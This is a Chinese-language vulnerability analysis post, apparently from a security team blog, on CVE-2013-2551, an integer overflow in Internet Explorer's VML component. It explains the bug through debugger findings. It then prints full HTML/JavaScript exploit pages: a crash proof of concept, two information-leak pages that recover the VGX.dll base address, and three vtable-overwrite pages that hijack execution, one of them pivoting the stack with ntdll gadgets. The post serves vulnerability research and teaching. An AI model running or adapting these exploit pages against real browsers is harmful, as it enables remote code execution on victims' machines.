Internet Explorer漏洞分析(二)——CVE-2013-2551

发布者：Gcow安全团队

发布于：2021-02-24 20:53

Internet Explorer漏洞分析(二)——CVE-2013-2551

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2.本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载
3.本篇文章从CVE-2013-2551漏洞的分析入手 详细的阐述漏洞的成因以及如何去利用该漏洞
4.本篇文章十分适合漏洞安全研究人员进行交流学习
5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽

0x01 漏洞信息

0x01.1 漏洞简述

编号：CVE-2013-2551
类型：整数溢出(Integer Overflow)
漏洞影响：远程代码执行(RCE)
CVSS 2.0：9.3

VGX.dll中COALineDashStyleArray::put_length函数在处理length数据时未做有效验证，以致length为负数可造成整数溢出，进而实现任意读写。

0x01.2 漏洞影响

Microsoft Internet Explorer 6—10

0x01.3 修复方案

[MS13-037]https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-037

0x02 漏洞分析

0x02.1 分析环境

OS版本：Windows XP Service Pack 3
Internet Explorer版本：8.0.6001.18702
VGX.dll版本：8.0.6001.18702

0x02.2 前置知识

VML的全称是Vector Markup Language(矢量可标记语言)，其基于XML，矢量图形——意味着图形可以任意放大缩小而不损失图形的质量。VML相当于IE里面的画笔，能实现你所想要的图形，而且结合脚本，可以让图形产生动态的效果。(不仅是IE，Microsoft Office同样支持VML)

使用VML首先要通过<style>引入：

<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

之后声明VML Namespace：

<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />

如此便可添加VML元素以绘制图形。

一例:

<html>
<title>
VML Sample
</title>

<!-- Include the VML behavior -->
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

<!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<body>
   <v:shape
   fillcolor="green"
   style="position:relative;top:1;left:1;width:200;height:200"
   path = "m 1,1 l 1,200, 200,200, 200,1 x e">
   </v:shape>
</body>
</html>

Shape是VML最基本的对象，利用它可以画出所有你想要的图形。其主要属性Path可参阅[VML Path Attribute—Microsoft Docs]https://docs.microsoft.com/en-us/windows/win32/vml/msdn-online-vml-path-attribute。

0x02.3 详细分析

使用IE打开poc.html：

<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
POC by VUPEN
</title>
<!-- Include the VML behavior -->
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

<!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a          = new Array()

function createRects(){
 for(var i=0; i<0x400; i++){
  rect_array[i]    = document.createElement("v:shape")
  rect_array[i].id = "rect" + i.toString()
  document.body.appendChild(rect_array[i])
 }
}

function crashme(){

 var vml1  = document.getElementById("vml1")
 var shape = document.getElementById("shape")
 
 for (var i=0; i<0x400; i++){            //set up the heap
      a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
 }

 for (var i=0; i<0x400; i++){
      a[i].rotation;                                                   //create a COARuntimeStyle
      if (i == 0x300) {                                                //allocate an ORG array of size B0h
           vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
   }
 }
 
    vml1.dashstyle.array.length      = 0 - 1
    shape.dashstyle.array.length  = 0 - 1
 
    for (var i=0; i<0x400; i++) {
       a[i].marginLeft   = "a";
       marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
       if (marginLeftAddress > 0) {
   try{
    shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
   }
   catch(e) {continue}
       }
 }
}
</script>
<body onload="createRects();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
<v:oval>
<v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/>
</v:oval>
<input value="crash!!!"type="button" onclick="crashme();"></input>
</body>
</html>

允许阻止内容后，WinDbg附加进程并运行，单击crash按钮，崩溃点如下：

使用gflags.exe为iexplore.exe开启页堆，WinDbg启动iexplore.exe，通过.childdbg 1命令启用子进程调试并运行后，崩溃点如下：

kb查看调用堆栈：

重新启动iexplore.exe，加载VGX.dll完成后于ORG::Get函数处设断，查看其this参数：

继续向下分析，可以看到vgx!ORG对象结构偏移0x10处存储指向dashstyle数组指针：

marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);操作由memecpy完成：

漏洞成因显然不位于该函数，继续向上回溯至vgx!COALineDashStyleArray::get_item，其调用vgx!ORG::CElements获取数组元素个数：

要读取元素下标需大于0xFFFFFFFF，小于vgx!ORG对象结构偏移0x04处值(WORD)。若下标合法，之后便会调用vgx!ORG::Get。可以从上图看到数组Length值0xffff，该值需跟进COALineDashStyleArray::put_length函数分析。

首先获取数组原长度，与更改长度进行比较：

此处即为漏洞触发位置，其调用vgx!ORG::CElements函数获取长度使用movzx eax, word ptr [eax+4]指令，将长度当作无符号整数处理(而非采用movsx指令)，但跳转语句jge是基于有符号整数比较的跳转。

大于等于则会调用vgx!ORG::DeleteRange：

跟进发现其调用MsoDeletePx：

图10

继续跟进，写入更改长度操作位于MsoFRemovePx函数内：

图11

如此一来，将数组Length修改为0xFFFF，进而可以实现越界读写——前文分析vgx!COALineDashStyleArray::get_item函数对应越界读操作，下面看越界写操作。该操作对应vgx!COALineDashStyleArray::put_item函数，其与get_item不同之处是调用vgx!ORG::PGet函数：

图12

该函数用于计算写入位置：

图13

之后写入操作由put_item中mov [eax], ecx指令完成：

图14

0x02.4 利用分析

0x02.4a 信息泄露

有两种信息泄露方法，详见下文分析。

`_anchorRect`属性

访问_anchorRect属性时会调用COAShape::get__anchorRect函数，而该函数会通过malloc申请0x10字节空间：

图15

该空间用于存储COAReturnedPointsForAnchor对象：

图16

如此一来，可申请大量空间存储COAReturnedPointsForAnchor对象，中间放置Dashstyle Array，之后便可访问后续COAReturnedPointsForAnchor对象虚表以获取VGX.dll基址。但笔者在进行布局时发现其后并非紧接COAReturnedPointsForAnchor对象：

for(var i=0; i<0x1000; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
  ....
  for (var i=0; i<0x1000; i++){
    a[i] = document.getElementById("rect" + i.toString())._anchorRect;
    if (i==0x800){
      vml1.dashstyle="1 2 3 4";
    }
  }

图17

由上图可以看到是COAShape对象，其虚表相对于VGX.dll基址偏移为0x82a48。经计算，读取该地址数组下标为0x12，故笔者构造信息泄露POC如下：

<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>

<title>
INFO LEAK
</title>

<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />

<body onload="createRects(); info_leak();">
<v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>

<script>

var rect_array = new Array()
var a = new Array()

function createRects(){
  for(var i=0; i<0x1000; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
}

function info_leak(){

  var vml1  = document.getElementById("vml1")
  for (var i=0; i<0x1000; i++){
    a[i] = document.getElementById("rect" + i.toString())._anchorRect;
    if (i==0x800){
      vml1.dashstyle="1 2 3 4";
    }
  }
  vml1.dashstyle.array.length = 0 - 1;   

  var leak = vml1.dashstyle.array.item(0x12);
  alert(leak-0x82a48);

}
</script>

</html>

图18

`_vgRuntimeStyle`属性

_vgRuntimeStyle.rotation对应COARuntimeStyle::get_rotation函数，初次访问会申请0xAC大小空间(COARuntimeStyle::get_rotation——>CVMLShape::GetRTSInfo——>CParserTag::GetRTSInfo)：

图19

实际占用空间大小：

图20

那么于其中插入Dashstyle Array大小为0xB0(即44个元素，加上头部占用8字节，恰为0xB8)：

图21

之后写_vgRuntimeStyle.marginLeft，对应COARuntimeStyle::put_marginLeft函数，由于先前已经申请内存空间，该函数调用CVMLShape::GetRTSInfo——>CParserTag::GetRTSInfo时便不会再次申请，而是返回内存地址，写入字符位置相对于该地址偏移为0x58：

图22

而读_vgRuntimeStyle.marginLeft，对应COARuntimeStyle::get_marginLeft函数，该函数会将偏移0x58处指针指向内容读取出来：

图23

如此一来，控制0x58处指针内容，可实现任意地址读取。

利用漏洞可读写该地址处内容，下标为0x2E(0x2B对应数组最后一个元素，0x2C-0x2E是头部所占用12字节)+0x16(0x58/4)。完整POC如下：

<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>

<title>
INFO LEAK
</title>

<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />

<body onload="createRects(); exploit();">
<v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>

<script>

var rect_array = new Array()
var a = new Array()

function createRects(){
  for(var i=0; i<0x400; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
}

function exploit(){

  var vml1  = document.getElementById("vml1")
  
  for (var i=0; i<0x400; i++){
    a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
  }

  
  for (var i=0; i<0x400; i++){
    a[i].rotation;                
    if (i == 0x300) {           
      vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
    }
  }

  var length_orig = vml1.dashstyle.array.length;
  vml1.dashstyle.array.length = 0 - 1;   

  for (var i=0; i<0x400; i++)
  {
    a[i].marginLeft = "a";                                                                
  
    marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
    
    if (marginLeftAddress > 0) {
      vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
      var leak = a[i].marginLeft;
      vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
      vml1.dashstyle.array.length = length_orig;
      alert( parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ));
      return;
    }
  }

}
</script>

</html>

图24

0x02.4b 劫持EIP

后续覆盖虚表指针劫持EIP部分，可能是由于笔者环境问题，并未完成。重新搭建环境如下：

OS版本：Windows 7 Service Pack 1 x86
Internet Explorer版本：8.0.7601.17514
VGX.dll版本：8.0.7600.16385

该环境下对象布局稍有不同：

图25

可以有两种不同的方式覆盖虚表指针。

`vgx!COAReturnedPointsForAnchor::vftable`：

图26

<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> </title> <style>v\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> var rect_array = new Array() var a = new Array() function createRects(){   for(var i=0; i<0x1000; i++){     rect_array[i]    = document.createElement("v:shape")     rect_array[i].id = "rect" + i.toString()     document.body.appendChild(rect_array[i])   } } function exploit(){   var vml1 = document.getElementById("vml1")   for (var i=0; i<0x1000; i++){     a[i] = document.getElementById("rect" + i.toString())._anchorRect;     if (i == 0x800) {       vml1.dashstyle = "1 2 3 4"     }   }   vml1.dashstyle.array.length = 0 - 1;   vml1.dashstyle.array.item(0xC) = 0x0c0c0c0c;   for (var i=0; i<0x1000; i++)   {     delete a[i];     CollectGarbage();   } } </script> <body onload="createRects(); exploit();"> <v:oval> <v:stroke id="vml1"/> </v:oval> </body> </html>

`vgx!COAShape::vftable`：

图27

<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> </title> <style>v\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> var rect_array = new Array() var a = new Array() function createRects(){   for(var i=0; i<0x1000; i++){     rect_array[i]    = document.createElement("v:shape")     rect_array[i].id = "rect" + i.toString()     document.body.appendChild(rect_array[i])   } } function exploit(){   var vml1 = document.getElementById("vml1")   for (var i=0; i<0x1000; i++){     a[i] = document.getElementById("rect" + i.toString())._anchorRect;     if (i == 0x800) {       vml1.dashstyle = "1 2 3 4"     }   }   vml1.dashstyle.array.length = 0 - 1;   vml1.dashstyle.array.item(6) = 0x0c0c0c0c;   for (var i=0; i<0x1000; i++)   {     delete a[i];     CollectGarbage();   } location.reload(); }      </script> <body onload="createRects(); exploit();"> <v:oval> <v:stroke id="vml1"/> </v:oval> </body> </html>

第一种利用方式若要将栈转移到堆上(没有找到类似xchg ecx,esp直接交换ECX与ESP的gadget)，需要再配合两次漏洞进行越界写：

</script> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> </title> <style>v\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> var rect_array = new Array() var a = new Array() function createRects(){   for(var i=0; i<0x1000; i++){     rect_array[i]    = document.createElement("v:shape")     rect_array[i].id = "rect" + i.toString()     document.body.appendChild(rect_array[i])   } } function exploit(){   var vml1 = document.getElementById("vml1")   for (var i=0; i<0x1000; i++){     a[i] = document.getElementById("rect" + i.toString())._anchorRect;     if (i == 0x800) {       vml1.dashstyle = "1 2 3 4"     }   }   vml1.dashstyle.array.length = 0 - 1;   vml1.dashstyle.array.item(0xC) = 0x0c0c0c0c;   vml1.dashstyle.array.item(0xE) = 0x0c0c0c0c;   vml1.dashstyle.array.item(0xF) = ntdllbase+0xcb3e3;   for (var i=0; i<0x1000; i++)   {     delete a[i];     CollectGarbage();   } }      </script> <body onload="createRects(); exploit();"> <v:oval> <v:stroke id="vml1"/> </v:oval> </body> </html>

与之相配合堆上gadgets如下：

图28

而第二种覆盖方式，直接用xchg eax,esp;ret这样的gadget即可。两种利用方式效果展示：

图29

0x03 参阅链接

[Vector Markup Language (VML)—Microsoft Docs]https://docs.microsoft.com/en-us/windows/win32/vml/web-workshop---specs---standards----introduction-to-vector-markup-language--vml-
[Shape Element (VML)—Microsoft Docs]https://docs.microsoft.com/en-us/windows/win32/vml/shape-element--vml
[VML Stroke Element—Microsoft Docs]https://docs.microsoft.com/en-us/windows/win32/vml/msdn-online-vml-stroke-element
[VML DashStyle Attribute]https://docs.microsoft.com/en-us/windows/win32/vml/msdn-online-vml-dashstyle-attribute
[VML教程—美洲豹]http://www.t086.com/code/vml/index.html
[<meta>—W3school ]https://www.w3school.com.cn/tags/tag_meta.asp
[VUPEN Blog]https://web.archive.org/web/20130608020050/http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php
[Hpasserby Blog]https://hpasserby.top/post/ef2727d8.html

漏洞分析

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